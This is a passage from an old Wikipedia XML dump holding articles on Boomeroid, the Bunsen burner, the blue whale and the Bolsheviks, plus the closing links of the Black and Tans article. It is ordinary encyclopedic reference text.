*http://www.guardian.co.uk/Northern_Ireland/Story/0,2763,209091,00.html
*http://www.psni.police.uk/museum/text/rictoruc.htm
*http://news.bbc.co.uk/hi/english/uk/northern_ireland/newsid_784000/784872.stm
*http://www.kcs.cambs.sch.uk/depts/history/detailed/ireland.htm
*http://www.cant.ac.uk/depts/acad/history/coursebooks/edge-ofthe-union.DOC
*http://eprints.qut.edu.au/archive/00000009/01/Ainsworth_Black_conf.PDF
*http://homepage.tinet.ie/~abbeydorney/book/burning.html
*[http://webpages.dcu.ie/~foxs/irhist Chronology of Irish History 1919 - 1923]

[[de:Black and Tans]]
[[eo:Black and Tans]]

[[Category:Law enforcement in Ireland]]
[[Category:Paramilitary organizations]]</text>
    </revision>
  </page>
  <page>
    <title>Boomeroid</title>
    <id>4923</id>
    <revision>
      <id>22449355</id>
      <timestamp>2005-09-03T04:43:36Z</timestamp>
      <contributor>
        <username>Nifboy</username>
        <id>40342</id>
      </contributor>
      <minor />
      <comment>rm link to webcomic, +stub</comment>
      <text xml:space="preserve">In the [[anime]] [[Bubblegum Crisis]], any person who has had more than seventy percent of their body replaced with mechanical parts is classified as a '''boomeroid''' and is treated as such by the law. As part of the [[Boomer]] Law, boomeroids are to be handled (often fatally) by the [[AD Police]], as opposed to the normal law enforcement officers of Megatokyo. 

See also: [[Boomer]], [[AD Police]], [[cyborg]]

{{anime-stub}}</text>
    </revision>
  </page>
  <page>
    <title>Bunsen burner</title>
    <id>4924</id>
    <revision>
      <id>41559877</id>
      <timestamp>2006-02-28T03:46:43Z</timestamp>
      <contributor>
        <ip>70.251.129.87</ip>
      </contributor>
      <text xml:space="preserve">[[Image:Bunsen_burner.jpg|thumb|right|140px|A bunsen burner with [[needle valve]]. The hose barb for the gas tube is facing left and the needle valve for gas flow adjustment is on the opposite side. Air inlet on this particular model is adjusted by rotating the barrel, thus opening or closing the vertical baffles at the base.]] 

[[Image:Bunsen burner flame types .jpg|thumb|300px|right|Different flame types of Bunsen Burner depending on flow through the throat holes (holes on the side of the bunsen burner -- not to be confused with the needle valve for gas flow adjustment).&lt;br/&gt;1, air baffle closed (Safety flame)&lt;br/&gt;2, air baffle half open&lt;br/&gt;3, air baffle nearly fully open&lt;br/&gt;4, air baffle fully open]]

A '''Bunsen burner''' is a device used in scientific laboratories for heating, sterilization, and many other uses. 

A common misconception is that the Bunsen burner was invented by [[Robert Wilhelm Bunsen]] but although it is named after him, it is actually an improvement made in [[1855]] by his laboratory assistant, [[Peter Desdega]], of an earlier design by [[Michael Faraday]].

The device safely burns a continuous stream of a flammable [[gas]].  It is most common for the burner today to run on [[natural gas]], or alternatively [[Liquified petroleum gas]] such as [[propane]] or [[butane]] or a mixture of both. Natural gas is principally composed of [[methane]] and small amounts of [[ethane]], propane and butane. At the time of its invention it would have mostly burnt [[coal gas]].

The burner has a weighted base - where the gas supply attaches - and a vertical tube rising from it. The gas flows from the gas supply connection to the base. The stream of gas then passes through a small hole at the bottom of the tube and is directed upward through the tube. There are open slots in the side of the tube at the bottom to admit air into the stream, via the [[Venturi effect]] and the gas burns at the top of the tube, once it is ignited. 

The amount of inflow of air affects the heat of the flame, and the inflow can be controlled by adjusting the slot openings at the base of the tube by rotating the collar.  If the collar at the bottom of the tube is adjusted so more air can mix with the gas before combustion, the flame will burn hotter (appearing blue) as a result.  If the holes are closed, the gas will only mix with ambient air at the point of combustion, that is, only after it has exited the tube at the top, and so it will burn less efficiently, producing a cooler but brighter flame (appearing yellow) which is often called the Safety flame. The yellow flame is [[luminosity|luminous]] due to small soot particles in the flame which are heated to [[incandescence]]. When the burner is regulated to produce a hot, blue flame it can be nearly invisible against some backgrounds.

Increasing the amount of fuel gas flow through the tube by opening the needle valve will of course increase the size of the flame, but unless the airflow is adjusted as well, the flame temperature will be lowered.

{{Commons|Bunsen burner}}

{{LaboratoryEquipment}}

[[Category:Laboratory equipment]]

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[[es:Mechero Bunsen]]
[[fr:Bec Bunsen]]
[[it:Becco di Bunsen]]
[[nl:Bunsenbrander]]
[[pl:Palnik Bunsena]]
[[pt:Bico de Bunsen]]
[[zh:本生燈]]</text>
    </revision>
  </page>
  <page>
    <title>Blue Whale</title>
    <id>4925</id>
    <restrictions>move=:edit=</restrictions>
    <revision>
      <id>41825122</id>
      <timestamp>2006-03-02T00:05:17Z</timestamp>
      <contributor>
        <username>Phil Boswell</username>
        <id>24373</id>
      </contributor>
      <comment>migrate {{web reference}} to {{[[template:cite web|cite web]]}} using [[Wikipedia:AutoWikiBrowser|AWB]]</comment>
      <text xml:space="preserve">{{Taxobox | color = pink
| name = Blue Whale
| status = {{StatusEndangered}}
| image = Bluewhale877.jpg
| image_width = 250px
| image_caption = The world's largest animal
| regnum = [[Animal]]ia
| phylum = [[Chordata]]
| classis = [[Mammal]]ia
| ordo = [[Cetacea]]
| subordo = [[Mysticeti]]
| familia = [[Balaenoptiidae]]
| genus = ''[[Balaenoptera]]''
| species = '''''B. musculus '''''
| binomial = ''Balaenoptera musculus ''
| binomial_authority = ([[Carolus Linnaeus|Linneus]], 1758)
| range_map = cetacea_range_map_Blue_Whale.PNG
| range_map_width = 250px
| range_map_caption = Blue Whale range
}}

The '''Blue Whale''' (''Balaenoptera musculus'') is a [[marine mammal]] belonging to the suborder of [[baleen whale]]s. It is believed to be the [[Largest organism|largest animal]] ever to have lived, at up to 30 [[1 E1 m|metres]] (100 [[foot (unit of length)|feet]]) in length and 140 [[tonne]]s (150 [[short ton]]s) or more in weight.

Blue Whales were abundant in most oceans around the world up until the beginning of the 20th century. For the first 40 years of that century they were hunted by [[whaling|whaler]]s almost to extinction. Hunting of the species was outlawed by the international community in 1966. The current world population is about ten thousand, which are located in at least five groups. Before whaling the largest population (202,000 to 311,000) was in the Antarctic but now the largest concentrations are in the North-East [[Pacific Ocean|Pacific]], the Antarctic, and the Indian Ocean, none of which contain more than a few thousand blue whales. There are two groups in the North [[Atlantic Ocean|Atlantic]] and at least two (possibly more) in the Southern Hemisphere. 

==Taxonomy and evolution==
The Blue Whale is one of seven species of whale in the genus ''Balaenoptera''. DNA sequencing analysis, however, shows that Blue Whales are phylogenetically closer to the [[Humpback Whale|Humpback]] and [[Gray Whale]]s than other species in its genus. There have been at least 11 documented cases of Blue/[[Fin Whale]] hybrid adults in the wild. Aranson and Gullberg (1983) describe the genetic distance between a Blue and a Fin as about the same as that between a human and gorilla. The Balaenoptiidae family is believed to have diverged away from the other families of the Mysticetes suborder as long ago as the middle [[Oligocene]]. However, it is not known when the members of these families diverged from each other.

[[Image:Rorqual phylogenetic tree.PNG|left|thumbnail|250px|A [[phylogenetic tree]] of animals related to the Blue Whale]] 

Authorities classify the species into three subspecies: ''B. m. musculus'', consisting of the north Atlantic and north Pacific populations, ''B. m. intermedia'', the Southern Ocean population and ''B. m. brevicauda'' (also known as the '''Pygmy Blue Whale''') found in the Indian Ocean and South Pacific. Some older authorities also list ''B. m. indica'' as a further separate subspecies in the Indian Ocean, but it is most likely that these blue whales are pygmy blue whales, and this designation does not therefore have a listing in the [[Red List of Threatened Species]]. Both subdivisions are still questioned by some scientists; genetic analysis may yet show there are just two true subspecies.

The specific name ''musculus'' is [[Latin]] and could mean &quot;muscular&quot;, but it can also be interpreted as &quot;little mouse&quot;. [[Carolus Linnaeus|Linnaeus]], who named the species in his seminal work of 1758, would have known this and, given his sense of humour, may have intended the ironic [[double entendre|double meaning]]. Other common names for the Blue Whale have included the '''Sulphur-bottom''', '''Sibbald's Rorqual''', the '''Great Blue Whale''' and the '''Great Northern Rorqual'''. These names have fallen into disuse in recent decades.
&lt;br style=&quot;clear:left;&quot;&gt;

==Physical description==
The Blue Whale has a long tapering body that appears stretched in comparison with the much stockier appearance of other whales. The head is flat and U-shaped and has a very prominent ridge running from the blowhole to the top of the upper lips. The front part of the mouth is thick with [[baleen]] plates; around 300 plates (each one metre long) hang from the upper jaw, running half a metre back into the mouth. Between 60 and 90 grooves (called ventral pleats) run along the throat parallel to the body. These pleats assist with evacuating water from the mouth after lunge feeding (see feeding below). 

The [[dorsal fin]] is small, visible only briefly during the dive sequence. It varies in shape from one individual to another; some only have a barely perceptible lump, whilst other fins are quite prominent and falcate. It is located around three-quarters of the way along the length of the body. When surfacing to breathe, the Blue Whale raises its shoulder and blow hole region out of the water to a greater extent than other large whales (such as the [[Fin Whale|Fin]] or [[Sei Whale|Sei]]). This can often be a useful clue to identifying a species at sea. Whilst breathing, the whale emits a spectacular vertical single column blow (up to 12 m, typically 9 m) that can be seen from several kilometres on a calm day. Its [[lung]] capacity is 5,000 [[litre]]s.

The flippers are three to four metres long. The upper side is gray with a thin white border. The lower side is white. The head and tail flippers are generally uniformly grey coloured whilst the back, and sometimes the flippers, are usually mottled. The degree of mottling varies substantially from individual to individual. Some may have a uniform gray colour all over, whilst others demonstrate a considerable variation of dark blues, grays and blacks all tightly mottled.

Blue Whales can reach speeds of 50 km/h (30 mph) over short bursts, usually when interacting with other whales, but 20 km/h (12 mph) is a more typical travelling speed. When feeding they slow down to 5 km/h (3 mph). Some Blues in the North Atlantic and North Pacific raise their tail fluke when diving. The majority, however, do not.

Blue Whales most commonly live alone or with one other individual. It is not known whether those that travel in pairs stay together over many years or form more loose relationships. In areas of very high food concentration, as many as 50 Blue Whales have been seen scattered over a small area. However, they do not form large close-knit groups as seen in other baleen species.

===Size===
The Blue Whale is believed to be the largest animal ever to have lived on Earth. The largest creature known from the [[dinosaur]] era is the [[Argentinosaurus]] of the [[Mesozoic era]], which is estimated to have weighed up to 90 [[tonne]]s (100 [[short ton]]s). There is some uncertainty as to the biggest Blue Whale ever found. Most data comes from Blue Whales killed in [[Antarctic]] waters during the first half of the twentieth century and was collected by whalers not well-versed in standard zoological measurement techniques. The longest whales ever recorded were two females measuring 33.6&amp;nbsp;m and 33.3&amp;nbsp;m (110&amp;nbsp;ft 3&amp;nbsp;in and 109&amp;nbsp;ft 3&amp;nbsp;in) respectively. However, there are some disputes over the reliability of these measurements. The longest whale measured by [[scientist]]s at the American [[National Marine Mammal Laboratory]] (NMML) was 29.9&amp;nbsp;m long (98 ft) — about the same length as a [[Boeing 737]] airplane or three [[double-decker bus]]es.

A Blue Whale's head is so wide that 50 humans would be able to stand on its tongue. Its heart is close to the size of a small car, such as a Volkswagen Beetle. A human baby could crawl through a Blue Whale's arteries. During the first 7 months of its life, a baby Blue Whale drinks approximately 400 litres (100 U.S. gallons) of milk every day. Baby Blue Whales also gain [[body weight|weight]] quickly: 90 kg (200 pounds) every 24 hours. Even at birth, they weigh up to 1350 kg (3,000 lbs). – the same size as fully-grown [[hippopotamus]].

Blue Whales are very difficult to weigh because of their massive size. Most Blue Whales killed by whalers were not weighed as a whole, but cut up into manageable pieces before being weighed. This caused an underestimate of the total weight of the whale, due to loss of blood and other fluids. Even so, measurements between 150 to 170 tonnes (160 and 190 short tons) were recorded of animals up to 27&amp;nbsp;m (88&amp;nbsp;ft 6&amp;nbsp;in) in length. The weight of a 30&amp;nbsp;m (98&amp;nbsp;ft) individual is believed by the NMML to be in excess of 180 tonnes (200 short tons). The largest Blue Whale accurately weighed by NMML scientists to date was a female that weighed 177 tonnes (196 short tons)

===Feeding===
Blue Whales feed exclusively on [[krill]]. The exact species of this [[zooplankton]] eaten by Blue Whales varies from ocean to ocean. In the North Atlantic ''[[Meganyctiphanes norvegica]]'', ''[[Thysanoessa raschii]]'', ''[[Thysanoessa inermis]]'' and ''[[Thysanoessa longicaudata]]'' are the usual food. In the North Pacific ''[[Euphausia pacficia]]'', ''[[Thysanoessa inermis]]'', ''[[Thysanoessa longipes]]'', ''[[Thysanoessa spinifera]]'' and ''[[Nyctiphanes symplex]]''; in the Antarctic ''[[Euphausia superba]]'', ''[[Euphausia crystallorophias]]'' and ''[[Euphausia vallentni]]''. 

The whales always feed on the highest concentration of krill that they can find. This means that they typically feed at depth (more than 100 m) during the daytimes, and only surface feed at night. Dive times are typically ten minutes when feeding. Diving for twenty minutes is quite common. The longest recorded is thirty-six minutes (Sears 1998). The whale feeds by lunging forward at groups of krills, taking the animals and a large quantity of water into the mouth at once. The water is then squeezed out through the baleen plates by pressing the ventral pouch and tongue up against the water. Once the mouth is clear of water, the remaining krill, unable to pass through the plates, are swallowed.  According to Ted Dewan's ''Inside the Whale and Other Animals'', as well as krill, the blue whale filters small fish and squid.  It may even swallow something else that was also feeding on the krill.

===Life cycle===
Mating starts in the latter part of the autumn, and continues to the end of winter. Little is known about mating behaviour or even breeding grounds.  Females typically give birth at the start of the winter once every two to three years after a [[gestation period]] of ten to twelve months. The calf weighs about two and a half tonnes and is around 7 m in length. [[Weaning]] takes place after about six months, by which time the calf has doubled in length. Sexual maturity is typically reached at eight to ten years by which time males are at least 20 m long (or more in the southern hemisphere). Females are larger still, reaching sexual maturity around 21 m or around the age of five.

Scientists estimate that Blue Whales can live for at least eighty years; however, since individual records do not date back into the whaling era, this will not be known with certainty for many years yet. The longest recorded study of a single individual is thirty-four years, in the northeast Pacific (reported in Sears, 1998). The whales' only natural predator is the [[Orca]]. Calambokidis et al (1990) report that as many as 25% of mature Blue Whales have scars resulting from Orca attack. The rate of mortality due to such attacks is unknown.

Blue Whale strandings are extremely uncommon and, because of the species' social structure, mass strandings are unheard of. However when strandings do occur they can become quite a public event. In 1920, a Blue Whale washed up near [[Bragar]] on the [[Isle of Lewis]] in the [[Outer Hebrides]] of [[Scotland]]. It had been shot in the head by whalers, but the harpoon had failed to explode. As with other mammals, the fundamental instinct of the whale was to try to carry on breathing at all costs, even though this meant beaching to prevent itself from drowning. Two of the whale's bones were erected just off a main road on Lewis, and remain a tourist attraction.

===Vocalisations===
''See also: [[Whale song]]''

The Blue Whale is the second loudest animal in the world (the loudest is the sperm whale [http://news.nationalgeographic.com/news/2003/11/1103_031103_tvspermwhale.html]). Estimates made by Cummings and Thompson (1971) and Richardson et al (1995) suggest that source level of sounds made by Blue Whales are between 155 and 188 [[decibel]]s when measured at a reference pressure of one [[micropascal]] at one [[metre]]. Even accounting for different [[acoustic impedance]]s between water and air and different standard reference pressures, an equivalent sound range in air is 89–122 decibels.{{ref|voc}} By comparison, a [[pneumatic drill]] is about 100 dB. A human, however, would likely not perceive the Blue Whale as the second loudest of all animals. All Blue Whale groups make calls at a [[fundamental frequency]] of between 10 and 40 [[Hertz|Hz]], and the lowest frequency sound a human can typically perceive is 20&amp;nbsp;Hz. Blue Whale calls last between ten and thirty seconds. Additionally Blue Whales off the coast of [[Sri Lanka]] have been recorded repeatedly making &quot;songs&quot; of four notes duration lasting about two minutes each, reminiscent of the well-known [[whale song|Humpback Whale songs]]. Researchers believe that as this phenomenon has not been seen in any other populations, it may be unique to the ''B. m. brevicauda'' (Pygmy) subspecies.

Scientists do not know why Blue Whales vocalise. Richardson et al (1995) discuss six possible reasons:
# Maintenance of inter-individual distance 
# Species and individual recognition,  
# Contextual information transmission (e.g., feeding, alarm, courtship)
# Maintenance of social organization (e.g., contact calls between females and males)
# Location of topographic features
# Location of prey resources

(List adapted from National Marine Fisheries Service Biological Opinion paper, 2002)

==Population and whaling==
[[Image:BlueWhaleSkeleton.jpg|right|thumb|300px|''Blue whale skeleton, outside the Long Marine Laboratory at the [[University of California, Santa Cruz]]'']]

===The hunting era===
Blue Whales are not easy to catch, kill, or retain. Their speed and power meant that they were often not the target of early whalers who instead targeted [[Sperm whale|Sperm]] and [[Right Whale]]s. As the populations of these species declined, whalers increasingly hunted the largest baleen whales, including the Blue Whale. In 1864 Norwegian [[Svend Foyn]] equipped a [[steamboat]] with [[harpoon]]s specifically designed for catching large whales. Although initially troublesome, the method caught on, and by the end of the nineteenth century, the population of Blue Whales in the North Atlantic had diminished.

Hunting of Blue Whales rapidly increased around the world, and by 1925, the [[United States]], [[United Kingdom|Britain]] and [[Japan]] had joined [[Norway]] in chasing whales on 'catcher boats' that caught the whales and handed them onto huge 'factory ships' for processing. In 1930/1931, these ships killed 29,400 Blue Whales in the Antarctic alone. By the end of [[World War II]] populations had been significantly depleted, and in 1946 the first quotas restricting international trade in whales were introduced. These were ineffective because of the lack of differentiation between species. Rare species could be hunted equally with those found in relative abundance. By the time Blue Whale hunting was finally banned in the 1960s by the [[International Whaling Commission]], 350,000 Blue Whales had been killed and the world population had been reduced to less than 1% of its total one hundred years before.

===Population and distribution today===
Since the whaling ban, it is not well known whether the global Blue Whale population is increasing or remaining stable. In the Antarctic, best estimates show a significant increase since the end of illegal Soviet Union whaling, but numbers remain at under 1% of their original levels. It has also been suggested that Icelandic and California populations are increasing but these increases are not statistically significant. The total world population is likely about 10,000 although there is great uncertainty in available estimates for many areas. The Blue Whale remains listed as &quot;endangered&quot; on the [[IUCN Red List]] of threatened species as it has been since the list's inception. The largest concentration, consisting of about 2,000 individuals, is the North-East Pacific population that ranges from [[Alaska]] to [[Costa Rica]] but is most commonly seen from California in summer. This group represents the best hope for a long-term recovery in Blue Whale population. Sometimes this population strays over to the North-West Pacific; infrequent sightings between [[Kamchatka Peninsula|Kamchatka]] and the northern tip of Japan have been recorded.

In the Southern Hemisphere, there are two distinct subspecies, the Antarctic blue whale, numbering around 1,700 in 1996 (95% interval 860-2,900), and the pygmy blue whale in the Indian Ocean, probably numbering around 5,000 (although no reliable estimates exist). Migratory patterns of these subspecies are not well known. For example, pygmy blue whales have been recorded in the northern Indian Ocean (Oman, Maldives, Sri Lanka) where they may form a distinct resident population. In addition, the population of blue whales occurring off Chile and Peru may also be a distinct population. Some Antarctic blue whales approach the eastern South Atlantic coast in winter, and occasionally their sounds are heard off Peru, western Australia, and in the northern Indian Ocean. In Chile, the [[Cetacean Conservation Center]], with support from the [[Chilean Navy]], is undertaking extensive research and conservation work on a recently discovered feeding aggregation of the species off the coast of [[Chiloe Island]].

In the North Atlantic, two stocks are recognised. The first is found off [[Greenland]], [[Newfoundland]], [[Nova Scotia]] and the [[Gulf of Saint Lawrence]]. This group is estimated to total about 500. The second, more eastern group is spotted from the [[Azores]] in Spring to Iceland in July and August; it is presumed that the whales follow the [[Mid-Atlantic Ridge]] between the two volcanic islands. Beyond Iceland, Blue Whales have been spotted as far north as [[Spitsbergen]] and [[Jan Mayen]] though such sightings are rare. Scientists do not know where these whales spend their winters. The total North Atlantic population is between 600 and 1500.

Human threats to the potential recovery of Blue Whale populations include the accumulation of [[polychlorinated biphenyl]] (PCB) chemicals within the whale's blood, causing poisoning and premature death, and the ever-increasing amount of noise created by ocean traffic. This noise drowns out the noises produced by whales (''see [[whale song]]''), which may make it harder for whales to find a mate.

==Media==
{{multi-listen start}}
{{multi-listen item|filename=Blue whale atlantic1.ogg|title=A Blue Whale, recorded in the Atlantic (1)|description=|format=[[Ogg]]}}
{{multi-listen item|filename=Blue whale atlantic2.ogg|title=A Blue Whale, recorded in the Atlantic (2)|description=|format=[[Ogg]]}}
{{multi-listen item|filename=Blue whale atlantic3.ogg|title=A Blue Whale, recorded in the Atlantic (3)|description=|format=[[Ogg]]}}
{{multi-listen item|filename=Blue Whale NE Pacific.ogg|title=A Blue Whale, recorded in the Northeast Pacific|description=|format=[[Ogg]]}}
{{multi-listen item|filename=Blue Whale West Pacific.ogg|title=A Blue Whale, recorded in the Western pacific|description=|format=[[Ogg]]}}
{{multi-listen item|filename=Blue Whale South Pacific.ogg|title=A Blue Whale, recorded in the South pacific|description=|format=[[Ogg]]}}
{{multi-listen end}}

==References==
* Richard Sears (1998). &quot;Blue Whale&quot; pp 112-116 in ''Encyclopedia of Marine Mammals'' (Perrin, Wursig and Thewissen eds).
* William Perrin and Joseph Geraci. &quot;Stranding&quot; pp 1192-1197 in ''Encyclopedia of Marine Mammals'' (Perrin, Wursig and Thewissen eds).
* {{RefAudubonMarineMammals}} pp 89-93
* {{cite journal | author= A. Arnason and A. Gullberg | title= Comparison between the complete mtDNA sequences of the blue and fin whale, two species that can hybridize in nature | journal= Journal of Molecular Ecology | year= 1993 | volume= 37 | pages=312&amp;#8211;322}}
* {{cite book | author= W.J. Richardson, C.R. Greene, C.I. Malme and D.H. Thomson | title  = Marine mammals and noise | publisher = Academic Press, Inc., San Diego, CA. | year = 1995 | id = ISBN 0125884419}}
* {{cite book | title = Blue Whales | author = J. Calambokidis and G. Steiger | year = 1997 | publisher = Voyageur Press| id = ISBN 0896583384}}
* {{cite journal | title = Underwater sounds from the blue whale ''Balaenoptera musculus'' | author = W.C. Cummings and P.O. Thompson | journal = Journal of the Acoustics Society of America | volume = 50(4) | pages = 1193-1198 | year = 1971}}
* {{cite journal | title = Evidence for increases in Antarctic blue whales based on Bayesian modelling | author = T.A. Branch, K. Matsuoka and T. Miyashita | journal = Marine Mammal Science | volume = 20 | pages = 726-754 | year = 2004}}
* {{cite journal | title = Sightings and movements of blue whales off central California from 1986-88 from photo-identification of individuals | author = J. Calambokidis, G. H. Steiger, J. C. Cubbage, K. C. Balcomb, C. Ewald, S. Kruse, R. Wells and R. Sears | journal = Rep. Whal. Comm. | volume = 12 | pages = 343-348 | year = 1990}}
* {{cite web | author = National Marine Fisheries Service | year = 2002 | title = Endangered Species Act - Section 7 Consultation Biological Opinion | url = http://www.nmfs.noaa.gov/prot_res/readingrm/ESAsec7/7pr_surtass-2020529.pdf | format = PDF }}
* {{cite web | title=Blue Whale | work= American Cetacean Society | url= http://www.acsonline.org/factpack/bluewhl.htm | accessdate= January 7| accessyear= 2005}}
* {{cite web | title=The Whale bone Arch | work = Places to Visit around the Isle of Lewis | url=http://www.isle-of-lewis.com/things_to_do/places-to-visit.htm | accessdate = May 18 | accessyear = 2005}}

==Notes==
#{{note|WPH5}}A discussion of how to compare the loudness of sounds made in different media is given at http://www.surtass-lfa-eis.com/Terms/.

==External links==
* [http://www.70south.com/resources/animals/whales/blue 70South - information on the Blue Whale]
* [http://www.ccc-chile.org Chilean Conservation Centre] 
* [http://news.bbc.co.uk/1/hi/sci/tech/3003564.stm Science seeks clues to pygmy whale]
* [http://www.earthwindow.com/blue.html Blue Whale photographs] by Mike Johnson, Marine Natural History Photographer
* [http://www.acsonline.org/factpack/bluewhl.htm American Cetacean Society Blue Whale fact sheet]
* [http://www.enchantedlearning.com/subjects/whales/species/Bluewhale.shtml Information on Blue Whales] from EnchantedLearning.com
* [http://www.oceanlight.com/html/blue_whale.html Numerous Blue Whale photographs] from OceanLight.com
* [http://seamap.env.duke.edu/species/tsn/180528 Blue Whale Species profile] at [http://seamap.env.duke.edu OBIS-SEAMAP: mapping marine mammals, birds and turtles]
* [http://marinebio.org/species.asp?id=41 MarineBio: Blue whale, Balaenoptera musculus]

{{featured article}}

[[Category:Baleen whales]]

[[ca:Balena blava]]
[[da:Blåhval]]
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[[et:Sinivaal]]
[[fi:Sinivalas]]
[[fr:Baleine bleue]]
[[he:לווייתן כחול]]
[[hr:Plavi kit]]
[[it:Balaenoptera musculus]]
[[ja:シロナガスクジラ]]
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[[zh:蓝鲸]]</text>
    </revision>
  </page>
  <page>
    <title>Bolshevik</title>
    <id>4927</id>
    <revision>
      <id>41835391</id>
      <timestamp>2006-03-02T01:27:21Z</timestamp>
      <contributor>
        <username>Firestorm</username>
        <id>170507</id>
      </contributor>
      <comment>/* February Revolution */ added a bit about 'peace, land, and bread'.</comment>
      <text xml:space="preserve">[[Image:Leninsfinalfight.jpg|thumb|none|300px|right|Leaders of the Bolshevik Party and the [[Communist International]], a painting by [[Malcolm McAllister]] on the [[Pathfinder Mural]] in [[New York City]] and on the cover of the book ''Lenin’s Final Fight'' published by Pathfinder. From left: [[Zinoviev]], [[Bukharin]], [[Trotsky]], [[Lenin]], [[Karl Radek|Radek]] ]]

'''Bolsheviks''' (&quot;Большеви́к&quot;, derived from the [[Russian (language)|Russian]] word ''''''Bolsheviki'''''', &quot;majority faction&quot;) were members of the [[Marxism|Marxist]] [[Russian Social-Democratic Labour Party]]'s Bolshevik faction. Bolsheviks had an extreme socialist and internationalist outlook, and were opponents of the Russian traditional statehood and the Russian Orthodox Church. The other faction of the RSDLP was known as the [[Menshevik]]s, derived from the word ''men'shinstvo'' (&quot;minority&quot;). The split into two factions occurred at the Second [[Congress of the CPSU|Party Congress]] in [[1903]]. After the split, the Bolshevik party was designated as RSDLP(b) (Russian: РСДРП(б)), where &quot;b&quot; stands for &quot;Bolsheviks&quot;.

Bolsheviks led by [[Vladimir Lenin]] seized power in Russia in 1917 in an event known as the [[October Revolution]]. Shortly after seizing power, the party changed their name to the All-Russian Communist Party (Bolsheviks) in 1918 and were generally known as the Communist Party after that point. However, it was not until 1952 that the party formally dropped the word &quot;Bolshevik&quot; from its name. (See [[Congress of the CPSU]] article for the timeline of name changes.)

The word &quot;Bolshevik&quot; is sometimes used as a synonym of [[Communist]]. It was often used by right-wingers outside the Soviet Union as a derogatory term for left-wingers, not all of whom were necessarily Communists. The Bolshevik political platform has often been referred to as ''Bolshevism''.

[[Leon Trotsky]] frequently used the terms &quot;Bolshevism&quot; and &quot;Bolshevist&quot; after his exile from the [[Soviet Union]] to differentiate between what he saw as true [[Leninism]] and the regime within the state and the party which arose under [[Stalin]]. However, &quot;Bolshevism&quot; today is commonly associated with the ruthless regime which existed in the Soviet Union, and the millions of deaths for which it was responsible.

Anti-communists, and particularly fascists, often used the term &quot;Jewish Bolshevism&quot;, alluding to the fact that some of the Bolshevik leaders were of Jewish ethnicity, such as [[Grigory Zinoviev|Zinoviev]], [[Kamenev]], [[Leon Trotsky|Trotsky]], [[Lazar Kaganovich|Kaganovich]], [[Yakov Sverdlov|Sverdlov]], and [[Karl Radek|Radek]].

==Origins==
[[Image:Bolshevik-meeting.jpg|framed|Bolshevik Party Meeting.]] 
At the [[2nd Congress of the RSDLP]], held in [[Brussels]] and [[London]] in August [[1903]], Lenin advocated limiting party membership to a small core of professional revolutionaries, leaving sympathizers outside the party, and instituting a system of centralized control known as the [[democratic centralism|democratic centralist]] model. [[Julius Martov]], until then a close friend and colleague of Lenin's, agreed with him that the core of the party should consist of professional revolutionaries, but argued that party membership should be open to sympathizers, revolutionary workers and other [[fellow traveller]]s. The two had disagreed on the issue as early as April-May 1903, but it wasn't until the Congress that their differences became irreconcilable and split the party {{ref|1903}}. Although at first the disagreement appeared to be minor and inspired by personal conflicts, i.e. Lenin's insistence on dropping less active editorial board members from ''[[Iskra]]'' or Martov's support for the Organizing Committee of the Congress which Lenin opposed, the split quickly grew and became irreconcilable.

The two factions were originally known as &quot;hard&quot; (Lenin's supporters) and &quot;soft&quot; (Martov's supporters). Soon, however, the terminology changed to &quot;Bolsheviks&quot; and &quot;Mensheviks&quot;, from the Russian &quot;bolshinstvo&quot; (majority) and &quot;menshenstvo&quot; (minority), based on the fact that Lenin's supporters narrowly defeated Martov's supporters on the question of party membership. Neither Lenin nor Martov had a firm majority throughout the Congress as delegates left or switched sides. At the end, the Congress was evenly split between the two factions.

From 1907 on, English language articles sometimes used the term &quot;Maximalist&quot; for &quot;Bolshevik&quot; and &quot;Minimalist&quot; for &quot;Menshevik&quot;, which proved confusing since there was also a &quot;Maximalist&quot; faction within the Russian [[Socialist-Revolutionary Party]] in 1904-1906 and then again after 1917.

The two factions of the RSDLP attempted to reunify in [[1907]], and maintained the fiction that they were one party for several more years. The factions permanently broke off relations after the Bolsheviks failed in an attempt to take over the RSDLP in [[1912]]. As a result, they ceased to be a faction in the RSDLP and instead declared themselves an independent party though they retained the name RSDLP (Bolshevik). 
  
[[Image:BolshevikCentralCommittee.jpg|framed|The [[Central Committee of the CPSU|Central Committee]].]]

The Bolsheviks believed in organizing the party in a strongly centralized hierarchy that sought to overthrow the [[Tsar]] and achieve power. Although the Bolsheviks were not completely monolithic, they were characterized by a rigid adherence to the leadership of the [[Central Committee of the Communist Party of the Soviet Union|central committee]], based on the notion of [[democratic centralism]]. The Mensheviks favored open party membership and espoused cooperation with the other socialist and some non-socialist groups in Russia. Bolsheviks generally refused to co-operate with [[Liberalism|liberal]] or radical parties (which they labeled &quot;[[bourgeois]]&quot;) or even eventually other [[socialist]] organizations, although Lenin sometimes made tactical alliances.

[[Leon Trotsky]] was initially a Menshevik in [[1903]] but soon became an independent and was not a member of either faction until 1917.  In that year he lined up behind Lenin and became a Bolshevik after the [[February Revolution]], as he came to believe that events were confirming Lenin's analysis. 

[[Image:1919-Trotsky Lenin Kamenev-Party-Congress.gif|framed|Left to right: [[Trotsky]], [[Lenin]], and [[Kamenev]] at the 1919 [[Congress of the CPSU|Party Congress]].]]
The Bolsheviks played a minor role in the [[Russian Revolution of 1905|1905 revolution]], and were a minority in the [[St. Petersburg Soviet|St. Petersburg Soviet of Workers' Deputies]] led by Trotsky. The less significant Moscow [[soviet (council)|soviet]], however, was dominated by the Bolsheviks. These soviets became the model for the [[soviet (council)|soviets]] that were formed in [[1917]]. 

During the [[World War I|First World War]], the Bolsheviks took an [[internationalist]] stance that emphasized [[solidarity]] between the workers of Russia, [[Germany]], and the rest of the world, and broke with the [[Second International (politics)|Second International]] when its leading parties ended up supporting their own nations in the conflict.

==February Revolution==

Before the revolution of February, 1917, main Bolsheviks (Zinoviev, Trotsky, Lenin) lived and worked in Western Europe, receiving financial support from the European social democrats.

The [[February Revolution|February 1917 revolution]] came about when [[Tsar Nicholas II]] attempted to dissolve the [[Duma]] only to have the body reject the action and declare a provisional government. The Tsar abdicated leaving the [[Russian Provisional Government, 1917|provisional government]] in control.

While the Mensheviks and other moderate socialists believed that an industrially backwards country such as Russia could not hope to achieve socialism and that the task of the revolution was therefore to complete the country's transformation to liberal capitalism, the Bolsheviks believed that Russia could be the spark that would lead Europe to a socialist transformation of society and did not attempt to moderate their program.

In the winter of 1917, German authorities had helped Bolshevik leaders to move to Russia in sealed trains and offered large financial support, on the premise that strengthening the revolutionary movement would cripple Russia and sabotage the war effort.

